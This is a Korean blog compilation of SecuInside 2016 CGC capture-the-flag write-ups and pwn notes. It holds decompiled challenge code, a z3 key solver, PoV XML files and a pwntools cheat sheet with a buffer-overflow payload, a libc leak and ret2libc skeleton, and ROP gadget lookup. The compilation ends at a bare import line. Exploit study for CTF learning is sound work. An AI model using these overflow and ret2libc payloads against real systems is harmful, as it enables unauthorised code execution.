반응형

https://github.com/ctfs/write-ups-2016/tree/master/secuinside-ctf-quals-2016/cgc/cykor_00002-150

write up : https://ctf.rip/secuinside2016-cykor00002/


vagrant@crs:~$ ./cykor_00002
----------------------------------------
-          Simple Echo System          -
----------------------------------------
What is your name?
name: ADMIN
+ Gimme a key : aaaaaaaaaaaaaaa
Get out of here :(


우선 실행하고 실행 된 내용 문자열을 기반으로 ida 분석을 진행 하도록 합시다.


int main_sub_8048F50()
{
  char v1; // [esp+70h] [ebp-448h]@1
  char v2; // [esp+B0h] [ebp-408h]@3
  char v3; // [esp+B1h] [ebp-407h]@4
  int v4; // [esp+4B0h] [ebp-8h]@1

  v4 = 0;
  sub_8049FC0("----------------------------------------\n");
  sub_8049FC0("-          Simple Echo System          -\n");
  sub_8049FC0("----------------------------------------\n");
  sub_8049FC0("What is your name?\n");
  sub_8048E90(&v1);
  if ( sub_8048E10((int)&v1, (int)"ADMIN", 5u) )
  {
    sub_8049FC0("Hi %s\n");
    sub_8049FC0(": ");
    *(&v2 + sub_80480A0(&v2, 1000, 10)) = 0;
    sub_8049FC0("%s\n");
  }
  else
  {
    sub_8049FC0("+ Gimme a key : ");
    sub_80480A0(&01_byte_805F454, 27, 10);
    if ( compare_key_sub_8048150() )
    {
      sub_8049FC0("Welcome Admin :)\n");
      sub_8049FC0(": ");
      sub_80480A0(&v2, 1000, 10);
      if ( v2 == 'C' && v3 == 'K' )
        MEMORY[0] = 10;
      sub_8049FC0("%s\n");
    }
    else
    {
      sub_8049FC0("Get out of here :(\n");
    }
  }
  return 0;
}
 


compare_key_sub_8048150() 를 확인 하면 특정 값을 맞춰야지, 통과할 수 있게 되어 있습니다.


_BOOL4 compare_key_sub_8048150()
{
  signed int v1; // [esp+0h] [ebp-4h]@1

  v1 = 0;
  if ( 21_byte_805F468
     + 04_byte_805F457
     + 13_byte_805F460
     + 22_byte_805F469
     + 24_byte_805F46B
     + 08_byte_805F45B
     + 02_byte_805F455
     + 07_byte_805F45A
     + 10_byte_805F45D
     + 18_byte_805F465
     + 12_byte_805F45F
     + 19_byte_805F466
     + 06_byte_805F459 == 1068 )
    v1 = 1;
  if ( 11_byte_805F45E
     + 08_byte_805F45B
     + 10_byte_805F45D
     + 18_byte_805F465
     + 19_byte_805F466
     + 23_byte_805F46A
     + 03_byte_805F456
     + 02_byte_805F455
     + 14_byte_805F461
     + 16_byte_805F463 == 760 )
    ++v1;
  if ( 15_byte_805F462
     + 02_byte_805F455
     + 10_byte_805F45D
     + 17_byte_805F464
     + 01_byte_805F454
     + 14_byte_805F461
     + 16_byte_805F463
     + 12_byte_805F45F
     + 13_byte_805F460
     + 21_byte_805F468
     + 06_byte_805F459
     + 23_byte_805F46A
     + 22_byte_805F469 == 997 )
    ++v1;
  if ( 05_byte_805F458
     + 09_byte_805F45C
     + 20_byte_805F467
     + 22_byte_805F469
     + 02_byte_805F455
     + 07_byte_805F45A
     + 24_byte_805F46B
     + 14_byte_805F461
     + 17_byte_805F464
     + 13_byte_805F460 == 782 )
    ++v1;
  if ( 20_byte_805F467
     + 11_byte_805F45E
     + 19_byte_805F466
     + 17_byte_805F464
     + 14_byte_805F461
     + 03_byte_805F456
     + 08_byte_805F45B
     + 07_byte_805F45A
     + 21_byte_805F468
     + 15_byte_805F462 == 778 )
    ++v1;
  if ( 21_byte_805F468
     + 20_byte_805F467
     + 06_byte_805F459
     + 10_byte_805F45D
     + 05_byte_805F458
     + 15_byte_805F462
     + 23_byte_805F46A
     + 22_byte_805F469
     + 04_byte_805F457
     + 25_byte_805F46C
     + 13_byte_805F460
     + 24_byte_805F46B
     + 19_byte_805F466
     + 14_byte_805F461 == 1123 )
    ++v1;
  if ( 23_byte_805F46A
     + 09_byte_805F45C
     + 06_byte_805F459
     + 14_byte_805F461
     + 16_byte_805F463
     + 12_byte_805F45F
     + 08_byte_805F45B
     + 11_byte_805F45E
     + 02_byte_805F455
     + 19_byte_805F466
     + 01_byte_805F454
     + 15_byte_805F462
     + 20_byte_805F467
     + 03_byte_805F456
     + 24_byte_805F46B == 1180 )
    ++v1;
  if ( 06_byte_805F459
     + 25_byte_805F46C
     + 12_byte_805F45F
     + 24_byte_805F46B
     + 20_byte_805F467
     + 23_byte_805F46A
     + 01_byte_805F454
     + 05_byte_805F458
     + 04_byte_805F457
     + 09_byte_805F45C
     + 14_byte_805F461
     + 21_byte_805F468
     + 19_byte_805F466
     + 03_byte_805F456
     + 10_byte_805F45D
     + 18_byte_805F465
     + 08_byte_805F45B
     + 13_byte_805F460 == 1498 )
    ++v1;
  if ( 19_byte_805F466
     + 24_byte_805F46B
     + 15_byte_805F462
     + 05_byte_805F458
     + 25_byte_805F46C
     + 02_byte_805F455
     + 01_byte_805F454
     + 22_byte_805F469
     + 06_byte_805F459
     + 17_byte_805F464
     + 08_byte_805F45B
     + 13_byte_805F460
     + 16_byte_805F463
     + 21_byte_805F468
     + 04_byte_805F457 == 1213 )
    ++v1;
  if ( 18_byte_805F465
     + 22_byte_805F469
     + 10_byte_805F45D
     + 11_byte_805F45E
     + 07_byte_805F45A
     + 15_byte_805F462
     + 21_byte_805F468
     + 02_byte_805F455
     + 09_byte_805F45C
     + 25_byte_805F46C == 779 )
    ++v1;
  if ( 01_byte_805F454
     + 04_byte_805F457
     + 20_byte_805F467
     + 03_byte_805F456
     + 24_byte_805F46B
     + 23_byte_805F46A
     + 16_byte_805F463
     + 21_byte_805F468
     + 05_byte_805F458 == 742 )
    ++v1;
  if ( 16_byte_805F463
     + 24_byte_805F46B
     + 20_byte_805F467
     + 07_byte_805F45A
     + 18_byte_805F465
     + 11_byte_805F45E
     + 09_byte_805F45C
     + 05_byte_805F458
     + 06_byte_805F459
     + 12_byte_805F45F
     + 02_byte_805F455
     + 10_byte_805F45D
     + 15_byte_805F462
     + 04_byte_805F457
     + 21_byte_805F468 == 1196 )
    ++v1;
  if ( 07_byte_805F45A
     + 02_byte_805F455
     + 09_byte_805F45C
     + 14_byte_805F461
     + 12_byte_805F45F
     + 25_byte_805F46C
     + 13_byte_805F460
     + 22_byte_805F469
     + 19_byte_805F466
     + 24_byte_805F46B
     + 15_byte_805F462
     + 16_byte_805F463
     + 23_byte_805F46A
     + 18_byte_805F465 == 1091 )
    ++v1;
  if ( 22_byte_805F469
     + 18_byte_805F465
     + 23_byte_805F46A
     + 01_byte_805F454
     + 05_byte_805F458
     + 02_byte_805F455
     + 19_byte_805F466
     + 20_byte_805F467
     + 13_byte_805F460 == 764 )
    ++v1;
  if ( 14_byte_805F461
     + 17_byte_805F464
     + 23_byte_805F46A
     + 02_byte_805F455
     + 12_byte_805F45F
     + 25_byte_805F46C
     + 18_byte_805F465
     + 15_byte_805F462
     + 11_byte_805F45E
     + 05_byte_805F458
     + 09_byte_805F45C
     + 08_byte_805F45B
     + 01_byte_805F454
     + 19_byte_805F466
     + 07_byte_805F45A
     + 22_byte_805F469
     + 21_byte_805F468
     + 10_byte_805F45D == 1463 )
    ++v1;
  if ( 16_byte_805F463 + 09_byte_805F45C + 02_byte_805F455 + 12_byte_805F45F + 22_byte_805F469 + 20_byte_805F467 == 465 )
    ++v1;
  if ( 17_byte_805F464
     + 19_byte_805F466
     + 12_byte_805F45F
     + 25_byte_805F46C
     + 05_byte_805F458
     + 20_byte_805F467
     + 13_byte_805F460
     + 02_byte_805F455
     + 07_byte_805F45A
     + 14_byte_805F461
     + 01_byte_805F454
     + 22_byte_805F469 == 955 )
    ++v1;
  if ( 07_byte_805F45A
     + 08_byte_805F45B
     + 22_byte_805F469
     + 19_byte_805F466
     + 01_byte_805F454
     + 10_byte_805F45D
     + 15_byte_805F462
     + 18_byte_805F465 == 654 )
    ++v1;
  if ( 02_byte_805F455
     + 03_byte_805F456
     + 17_byte_805F464
     + 13_byte_805F460
     + 24_byte_805F46B
     + 01_byte_805F454
     + 11_byte_805F45E
     + 07_byte_805F45A
     + 21_byte_805F468
     + 19_byte_805F466
     + 23_byte_805F46A
     + 08_byte_805F45B
     + 16_byte_805F463 == 1030 )
    ++v1;
  if ( 23_byte_805F46A + 24_byte_805F46B + 12_byte_805F45F == 275 )
    ++v1;
  if ( 22_byte_805F469
     + 04_byte_805F457
     + 02_byte_805F455
     + 21_byte_805F468
     + 01_byte_805F454
     + 09_byte_805F45C
     + 13_byte_805F460 == 563 )
    ++v1;
  if ( 15_byte_805F462 + 06_byte_805F459 + 12_byte_805F45F + 19_byte_805F466 + 18_byte_805F465 + 25_byte_805F46C == 509 )
    ++v1;
  if ( 20_byte_805F467
     + 11_byte_805F45E
     + 13_byte_805F460
     + 22_byte_805F469
     + 17_byte_805F464
     + 25_byte_805F46C
     + 15_byte_805F462 == 556 )
    ++v1;
  if ( 02_byte_805F455
     + 13_byte_805F460
     + 22_byte_805F469
     + 20_byte_805F467
     + 19_byte_805F466
     + 03_byte_805F456
     + 04_byte_805F457
     + 12_byte_805F45F
     + 16_byte_805F463
     + 24_byte_805F46B
     + 23_byte_805F46A
     + 18_byte_805F465
     + 25_byte_805F46C
     + 09_byte_805F45C
     + 06_byte_805F459
     + 11_byte_805F45E
     + 21_byte_805F468
     + 17_byte_805F464 == 1464 )
    ++v1;
  if ( 15_byte_805F462
     + 22_byte_805F469
     + 08_byte_805F45B
     + 23_byte_805F46A
     + 21_byte_805F468
     + 06_byte_805F459
     + 17_byte_805F464
     + 11_byte_805F45E
     + 12_byte_805F45F == 758 )
    ++v1;
  return v1 == 25;


여기에 있는 변수를 다음과 같이 치환하여 python의 수학 라이브러리인 z3 라이브러리를 활용 하여 맞는 값을 찾습니다.

(※ z3 : https://github.com/Z3Prover/z3)

babyhack@ubuntu:~$ python scripts/mk_make.py --python --pypkgdir=/usr/lib/python2.7/dist-packages

babyhack@ubuntu:~$ cd ./build/make; sudo make install


z3가 준비 되었다면, 다음의 코드를 사용하면 됩니다.


from z3 import *

var_0 = Int('var_0')
var_1 = Int('var_1')
var_2 = Int('var_2')
var_3 = Int('var_3')
var_4 = Int('var_4')
var_5 = Int('var_5')
var_6 = Int('var_6')
var_7 = Int('var_7')
var_8 = Int('var_8')
var_9 = Int('var_9')
var_10 = Int('var_10')
var_11 = Int('var_11')
var_12 = Int('var_12')
var_13 = Int('var_13')
var_14 = Int('var_14')
var_15 = Int('var_15')
var_16 = Int('var_16')
var_17 = Int('var_17')
var_18 = Int('var_18')
var_19 = Int('var_19')
var_20 = Int('var_20')
var_21 = Int('var_21')
var_22 = Int('var_22')
var_23 = Int('var_23')
var_24 = Int('var_24')
var_25 = Int('var_25')

solve(var_20 + var_3 + var_12 + var_21 + var_23 + var_7 + var_1 + var_6 + var_9 + var_17 + var_11 + var_18 + var_5 == 1068,var_10 + var_7 + var_9 + var_17 + var_18 + var_22 + var_2 + var_1 + var_13 + var_15 == 760,var_14 + var_1 + var_9 + var_16 + var_0 + var_13 + var_15 + var_11 + var_12 + var_20 + var_5 + var_22 + var_21 == 997,var_4 + var_8 + var_19 + var_21 + var_1 + var_6 + var_23 + var_13 + var_16 + var_12 == 782,var_19 + var_10 + var_18 + var_16 + var_13 + var_2 + var_7 + var_6 + var_20 + var_14 == 778,var_20 + var_19 + var_5 + var_9 + var_4 + var_14 + var_22 + var_21 + var_3 + var_24 + var_12 + var_23 + var_18 + var_13 == 1123,var_22 + var_8 + var_5 + var_13 + var_15 + var_11 + var_7 + var_10 + var_1 + var_18 + var_0 + var_14 + var_19 + var_2 + var_23 == 1180,var_5 + var_24 + var_11 + var_23 + var_19 + var_22 + var_0 + var_4 + var_3 + var_8 + var_13 + var_20 + var_18 + var_2 + var_9 + var_17 + var_7 + var_12 == 1498,var_18 + var_23 + var_14 + var_4 + var_24 + var_1 + var_0 + var_21 + var_5 + var_16 + var_7 + var_12 + var_15 + var_20 + var_3 == 1213,var_17 + var_21 + var_9 + var_10 + var_6 + var_14 + var_20 + var_1 + var_8 + var_24 == 779,var_0 + var_3 + var_19 + var_2 + var_23 + var_22 + var_15 + var_20 + var_4 == 742,var_15 + var_23 + var_19 + var_6 + var_17 + var_10 + var_8 + var_4 + var_5 + var_11 + var_1 + var_9 + var_14 + var_3 + var_20 == 1196,var_6 + var_1 + var_8 + var_13 + var_11 + var_24 + var_12 + var_21 + var_18 + var_23 + var_14 + var_15 + var_22 + var_17 == 1091,var_21 + var_17 + var_22 + var_0 + var_4 + var_1 + var_18 + var_19 + var_12 == 764,var_13 + var_16 + var_22 + var_1 + var_11 + var_24 + var_17 + var_14 + var_10 + var_4 + var_8 + var_7 + var_0 + var_18 + var_6 + var_21 + var_20 + var_9 == 1463,var_15 + var_8 + var_1 + var_11 + var_21 + var_19 == 465,var_16 + var_18 + var_11 + var_24 + var_4 + var_19 + var_12 + var_1 + var_6 + var_13 + var_0 + var_21 == 955,var_6 + var_7 + var_21 + var_18 + var_0 + var_9 + var_14 + var_17 == 654,var_1 + var_2 + var_16 + var_12 + var_23 + var_0 + var_10 + var_6 + var_20 + var_18 + var_22 + var_7 + var_15 == 1030,var_22 + var_23 + var_11 == 275,var_21 + var_3 + var_1 + var_20 + var_0 + var_8 + var_12 == 563,var_14 + var_5 + var_11 + var_18 + var_17 + var_24 == 509,var_19 + var_10 + var_12 + var_21 + var_16 + var_24 + var_14 == 556,var_1 + var_12 + var_21 + var_19 + var_18 + var_2 + var_3 + var_11 + var_15 + var_23 + var_22 + var_17 + var_24 + var_8 + var_5 + var_10 + var_20 + var_16 == 1464,var_14 + var_21 + var_7 + var_22 + var_20 + var_5 + var_16 + var_10 + var_11 == 758)  


[ result ]


babyhack@ubuntu:~/tmp/Secuinside/2016$ python exp.py
[var_16 = 89,
 var_23 = 85,
 var_20 = 82,
 var_1 = 72,
 var_6 = 69,
 var_12 = 77,
 var_15 = 51,
 var_19 = 85,
 var_22 = 95,
 var_21 = 78,
 var_5 = 77,
 var_14 = 78,
 var_11 = 95,
 var_9 = 72,
 var_3 = 87,
 var_10 = 69,
 var_17 = 95,
 var_4 = 95,
 var_7 = 95,
 var_8 = 84,
 var_2 = 79,
 var_13 = 48,
 var_18 = 84,
 var_24 = 80,
 var_0 = 83]
babyhack@ubuntu:~/tmp/Secuinside/2016$  


10진수로 표시 되기 때문에 문자로 표시 하는 코드를 작성 해야 한다.


[ covert ]


babyhack@ubuntu:~/tmp/Secuinside/2016$ cat sort.py
var_16 = 89
var_23 = 85
var_20 = 82
var_1 = 72
var_6 = 69
var_12 = 77
var_15 = 51
var_19 = 85
var_22 = 95
var_21 = 78
var_5 = 77
var_14 = 78
var_11 = 95
var_9 = 72
var_3 = 87
var_10 = 69
var_17 = 95
var_4 = 95
var_7 = 95
var_8 = 84
var_2 = 79
var_13 = 48
var_18 = 84
var_24 = 80
var_0 = 83

print chr(var_0)+chr(var_1)+chr(var_2)+chr(var_3)+chr(var_4)+chr(var_5)+chr(var_6)+chr(var_7)+chr(var_8)+chr(var_9)+chr(var_10)+chr(var_11)+chr(var_12)+chr(var_13)+chr(var_14)+chr(var_15)+chr(var_16)+chr(var_17)+chr(var_18)+chr(var_19)+chr(var_20)+chr(var_21)+chr(var_22)+chr(var_23)+chr(var_24)
babyhack@ubuntu:~/tmp/Secuinside/2016$


[ result ]


babyhack@ubuntu:~/tmp/Secuinside/2016$ python sort.py
SHOW_ME_THE_M0N3Y_TURN_UP
babyhack@ubuntu:~/tmp/Secuinside/2016$ 


이제 찾은 내용을 테스트 해 보도록 합시다.


 vagrant@crs:~$ ./cykor_00002
----------------------------------------
-          Simple Echo System          -
----------------------------------------
What is your name?
name: ADMIN
+ Gimme a key : HOW_ME_THE_M0N3Y_TURN_UP
Get out of here :(
vagrant@crs:~$ ./cykor_00002
----------------------------------------
-          Simple Echo System          -
----------------------------------------
What is your name?
name: SHOW_ME_THE_M0N3Y_TURN_UP
Hi SHOW_ME_THE_M0N3Y_TURN_UP
:

vagrant@crs:~$
vagrant@crs:~$ ./cykor_00002
----------------------------------------
-          Simple Echo System          -
----------------------------------------
What is your name?
name: ADMIN
+ Gimme a key : SHOW_ME_THE_M0N3Y_TURN_UP
Welcome Admin :)
: CK
Segmentation fault (core dumped)
vagrant@crs:~$



CGC에 전달하는 코드 작성은 예제 코드를 기반으로 XML 작성 합니다.


<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
       <cbid>service</cbid>

        <replay>
              // recv
              <read><delim>\x0a</delim><match><data>----------------------------------------\x0a</data></match></read>
              <read><delim>\x0a</delim><match><data>-          Simple Echo System          -\x0a</data></match></read>
              <read><delim>\x0a</delim><match><data>----------------------------------------\x0a</data></match></read>
              <read><delim>\x0a</delim><match><data>What is your name?\x0a</data></match></read>
              <read><delim>\x0a</delim><match><data>name: \x0a</data></match></read>
              // send
              <write><data>ADMIN\x0a</data></write>

              // recv
              <read><delim>\x0a</delim><match><data>+ Gimme a key : \x0a</data></match></read>
              // send
              <write><data>SHOW_ME_THE_M0N3Y_TURN_UP\x0a</data></write>
              // recv
              <read><delim>\x0a</delim><match><data>Welcome Admin :)\x0a</data></match></read>
              <read><delim>\x0a</delim><match><data>: \x0a</data></match></read>

              // send
              <write><data>CK\x0a</data></write>
        </replay>
</pov>


exploit 코드는 다음과 같습니다.


#!/usr/bin/python
from pwn import *

xml_name = "pov.xml"
host, port = "127.0.0.1", 1234
r = remote(host,port)
print r.recvline()
r.sendline("XML")
payload = open(xml_name,'rb').read()
print r.recvline()
r.sendline(str(len(payload)))
print r.recvline()
r.sendline(payload)

r.interactive()

반응형
반응형


SecuInside 2016 - CGC/cykor_00001-100



1. cgc 파일 elf 포멧으로 변경


vagrant@crs:~$ cgc2elf cykor_00001
vagrant@crs:~$ ls
cykor_00001 


2. ssh 통신하므로 sftp 활용하여, 파일 복사 후 ida로 분석


signed int sub_80481C0()
{
  char v1; // [esp+3Ch] [ebp-2Ch]@3
  char v2; // [esp+3Dh] [ebp-2Bh]@9
  char v3; // [esp+3Eh] [ebp-2Ah]@10
  char v4; // [esp+3Fh] [ebp-29h]@11
  char v5; // [esp+40h] [ebp-28h]@12
  char v6; // [esp+41h] [ebp-27h]@13
  char v7; // [esp+42h] [ebp-26h]@14
  char v8; // [esp+43h] [ebp-25h]@15
  char v9; // [esp+44h] [ebp-24h]@16
  char v10; // [esp+45h] [ebp-23h]@17
  char v11; // [esp+46h] [ebp-22h]@18
  char v12; // [esp+47h] [ebp-21h]@19
  char v13; // [esp+48h] [ebp-20h]@20
  char v14; // [esp+49h] [ebp-1Fh]@21
  char v15; // [esp+4Ah] [ebp-1Eh]@22
  char v16; // [esp+4Bh] [ebp-1Dh]@23
  int v17; // [esp+54h] [ebp-14h]@26
  unsigned int i; // [esp+58h] [ebp-10h]@1
  int v19; // [esp+60h] [ebp-8h]@1

  v19 = 0;
  for ( i = 0; i < 0x18; ++i )
    *(&v1 + i) = 0;
  if ( sub_8048470(1, (int)"What is your message?\n", 0x16u) )
    sub_804867C(0);
  if ( sub_8048560(0, (int)&v1, 0x18u, 10) )
    return -1;
  if ( v1 != 'H' || v2 != '4' )
    return 7;
  if ( v3 != 'P' || v4 != 'P' )
    return 6;
  if ( v5 != 'Y' || v6 != '_' )
    return 5;
  if ( v7 != 'S' || v8 != '3' )
    return 4;
  if ( v9 != 'C' || v10 != 'U' )
    return 3;
  if ( v11 != 'I' || v12 != 'N' )
    return 2;
  if ( v13 != 'S' || v14 != 'I' )
    return 1;
  if ( v15 == 'D' && v16 == '3'
&& sub_8048470(1, (int)"+ Are you serious?\n", 0x13u) )
    sub_804867C(0);
  v17 = sub_8048 


--> H4PPY_S3CUINSID3


3. 취약한 함수 확인


signed int sub_80480A0()
{
  char v1[64]; // [esp+28h] [ebp-50h]@3
  int v2; // [esp+68h] [ebp-10h]@1
  unsigned int i; // [esp+6Ch] [ebp-Ch]@1

  v2 = 0;
  for ( i = 0; i < 64; ++i )
    v1[i] = 0;
  if ( sub_8048560(0, (int)v1, 128u, 10) )
    return -1;
  for ( i = 0; v1[i]; ++i )
    ++v2;
  if ( sub_8048470(1, (int)"- Why so serious?\n", 0x12u) )
    sub_804867C(0);
  return v2;


--> 입력값이 80개 이상 넣을 경우 bof 발생 (EIP 변경 확인)


vagrant@crs:~$ (python -c 'print "H4PPY_S3CUINSID3" + "\n" + "a"*84 + "b"*4';cat ) |./cykor_00001_cgc_file
What is your message?
+ Are you serious?
- Why so serious?

Segmentation fault (core dumped)
vagrant@crs:~$ gdb ./cykor_00001_cgc_file core                                  GNU gdb (GDB) 7.9
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./cykor_00001_cgc_file...(no debugging symbols found)...done.

warning: core file may not match specified executable file.
[New LWP 3833]
Core was generated by `'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) i r
eax            0x616161a6       1633771942
ecx            0x12     18
edx            0x80487bf        134514623
ebx            0x0      0
esp            0xbaaaaf8c       0xbaaaaf8c
ebp            0x61616161       0x61616161
esi            0x61616161       1633771873
edi            0x0      0
eip            0x62626262       0x62626262
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x7b     123
gs             0x7b     123
(gdb) q
vagrant@crs:~$ 


4. CGC에 맞는 xml 코드 작성

 ※ 참고

   1) http://kblab.tistory.com/287 

   2) https://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/ /

   3) https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/walk-throughs/pin-for-decree.md


<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
       <cbid>service</cbid>

        <replay>
              // recv
              <read><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read>
              // send
              <write><data>H4PPY_S3CUINSID3\x0a</data></write>

              // recv
              <read><delim>\x0a</delim><match><data>+ Are you serious?\x0a</data></match></read>
              // send, [a * 84]
              <write><data>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x0a</data></write>

              // recv
              <read><delim>\x0a</delim><match><data>- Are you serious?\x0a</data></match></read>
        </replay>
</pov>


5. 파일 전송


payload = open('crattack.xml', 'rb').read()


print r.recvuntil( 'XML)' )

r.sendline(payload)

print r.recv()


r.interactive()


반응형
반응형


  • vagrant는 VM 이미지를 관리하는 제품입니다.
    • https://www.vagrantup.com/
  • Virtual Box
    • https://www.virtualbox.org/
  • CGC 환경 설정 파일
    • https://s3.amazonaws.com/cgcdist/boxes/Vagrantfile
  • CGC 설명
    • https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/walk-throughs/virtual-competiton.md



1. vagrant 명령어를 활용하여, 가상 머신을 다운 받는다.


CGC 환경 설정 파일을 vagrant 폴더에 복사 합니다.


2016-08-02  오후 02:28    <DIR>          .
2016-08-02  오후 02:28    <DIR>          ..
2016-08-02  오후 02:28    <DIR>          .vagrant
2015-12-21  오후 10:33         2,526,208 vagrant.exe
2016-08-02  오후 12:14             2,573 Vagrantfile

C:\HashiCorp\Vagrant\bin>vagrant.exe up
Bringing machine 'cb' up with 'virtualbox' provider...
Bringing machine 'ids' up with 'virtualbox' provider...
Bringing machine 'pov' up with 'virtualbox' provider...
Bringing machine 'crs' up with 'virtualbox' provider...
Bringing machine 'ti' up with 'virtualbox' provider...
==> cb: Checking if box 'cgc-linux-dev' is up to date...
==> cb: Clearing any previously set forwarded ports...
==> cb: Clearing any previously set network interfaces...
==> cb: Preparing network interfaces based on configuration...
    cb: Adapter 1: nat
    cb: Adapter 2: hostonly
==> cb: Forwarding ports...
    cb: 22 (guest) => 2222 (host) (adapter 1)
==> cb: Running 'pre-boot' VM customizations...
==> cb: Booting VM...
==> cb: Waiting for machine to boot. This may take a few minutes...
    cb: SSH address: 127.0.0.1:2222
    cb: SSH username: vagrant
    cb: SSH auth method: private key

............

C:\HashiCorp\Vagrant\bin>vagrant.exe status
Current machine states:

cb                        running (virtualbox)
ids                       running (virtualbox)
pov                       running (virtualbox)
crs                       running (virtualbox)
ti                        running (virtualbox)

This environment represents multiple VMs. The VMs are all listed
above with their current state. For more information about a specific
VM, run `vagrant status NAME`.

.....................

C:\HashiCorp\Vagrant\bin>vagrant.exe ssh crs
`ssh` executable not found in any directories in the %PATH% variable. Is an
SSH client installed? Try installing Cygwin, MinGW or Git, all of which
contain an SSH client. Or use your favorite SSH client with the following
authentication information shown below:

Host: 127.0.0.1
Port: 2202
Username: vagrant
Private key: C:/Users/JP20614/.vagrant.d/insecure_private_key

2. putty client 사용하기 위해서는 puttygen.exe를 통하여 개인키를 생성해야 한다.


3. putty client 설정 내용

  - ID : vagrant

  - IP : 127.0.0.1

  - Port : 2202


4. CGC 서버 설명

  • ti - this is the Team Interface. The role represents the interface that will be provided to a CRS by the CFE infrastructure.
  • cb - this is the Challenge Binary server. This is the host where CBs are executed.
  • pov - this is the POV server. This role has the responsibility of 'throwing' POVs (and polls) at the cb server.
  • crs - this is a host for simulating a CRS. While no, simulated CRS capabilities are distributed as part of Virtual Competition, a sample client is provided to exercise the Team Interface.
  • ids - this is the IDS host; the network appliance. Filters fielded by a CRS will be installed on ids. From a network perspective, ids is in between pov and cb.




반응형
반응형

[ pwn 예제 코드 ]

 

from pwn import *


#r = process('./pwn1')
r = remote('127.0.0.1', 1234)

payload = '-1'
payload += 'a'* 44
payload += '\xcd\x84\x04\x08'
payload += '\n'

print '[*] payload\n%s' % hexdump(payload)

r.sendline(payload)
print r.recv()

#r.interactive()

 

[ XML 파일 전송 ]


from pwn import *


r = remote('127.0.0.1', 1234)

payload = open('crattack.xml', 'rb').read()


print r.recvuntil( 'XML)' )

r.sendline(payload)


r.interactive()



 

[ 사용하는 라이브러리 확인 ]

 

babyhack@ubuntu:~/tmp/sctf2016/pwn2$ readelf -r ./pwn2

Relocation section '.rel.dyn' at offset 0x2fc contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000306 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000705 R_386_COPY        0804a040   stdout

Relocation section '.rel.plt' at offset 0x30c contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804a010  00000207 R_386_JUMP_SLOT   00000000   getchar
0804a014  00000307 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a01c  00000507 R_386_JUMP_SLOT   00000000   setvbuf
0804a020  00000607 R_386_JUMP_SLOT   00000000   atoi
babyhack@ubuntu:~/tmp/sctf2016/pwn2$  

 

 

[ offset 찾는 방법 ]

 

# babyhack@ubuntu:~/tmp/sctf2016/pwn2$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep 'system' | more
#   244: 00115db0    68 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
#   621: 0003b160    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
#  1445: 0003b160    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

# babyhack@ubuntu:~/tmp/sctf2016/pwn2$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'
# 15f5db /bin/sh


# babyhack@ubuntu:~/tmp/sctf2016/pwn2$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep 'printf' | more
#.............................
#   641: 0004a130    45 FUNC    GLOBAL DEFAULT   12 printf@@GLIBC_2.0
#.............................

offset_printf = 0x4A130
offset_system = 0x3B160
offset_binsh = 0x15F5DB

#------------ printf_got leak -------#
#    +----------------------------+

#    |       aaaaaa.....aaaa          |

#    +----------------------------+

#    |            printf_plt           |

#    +----------------------------+

#    |             vuln()               |

#    +----------------------------+

#    |            '%s'                  |

#    +----------------------------+

#    |           print_got            |

#    +----------------------------+

 

payload += printf_plt
payload += vuln
payload += string_format
payload += printf_got

 

print '[*] payload\n%s\n' % hexdump(payload)

s.sendline(payload)

print '[*] first recv\n%s\n' % s.recvline()
print '[*] second recv\n%s\n' % s.recvline()

printf_got_leak = s.recvline()
print '[*] printf got\n%s\n' % hexdump(printf_got_leak)

libc_printf_got = hex(u32(printf_got_leak[:4]))

print '[*] lib_printf_got : ', libc_printf_got
 

libc_addr = int(libc_printf_got, 16) - offset_printf
system_addr = libc_addr + offset_system
binsh_addr = libc_addr + offset_binsh

print '[*] libc addr : ', hex(libc_addr)
print '[*] system addr : ', hex(system_addr)
print '[*] /bin/sh addr : ', hex(binsh_addr)

 

[ gadget 찾기 ]

 

https://github.com/0vercl0k/rp

 

#./rp++ -f ./pwn2 -r 4 | grep 'pop'
# 0x0804864e: pop edi ; pop ebp ; ret  ;  (1 found)
ppr = p32(0x0804864E) # 2 argument so, pop pop ret 

 

[ gdb code patch ]

 

(gdb) set *(unsigned char*)0x400cc3 = 0x90
(gdb) set *(unsigned char*)0x400cc4 = 0x90
(gdb) set *(unsigned char*)0x400ccd = 0x90
(gdb) set *(unsigned char*)0x400cce = 0x90
(gdb) set *(unsigned char*)0x400cd7 = 0x90
(gdb) set *(unsigned char*)0x400cd8 = 0x90
(gdb) disas main 

 

 

 

 

반응형
반응형

 

[테스트 코드]

 

from pwn import *


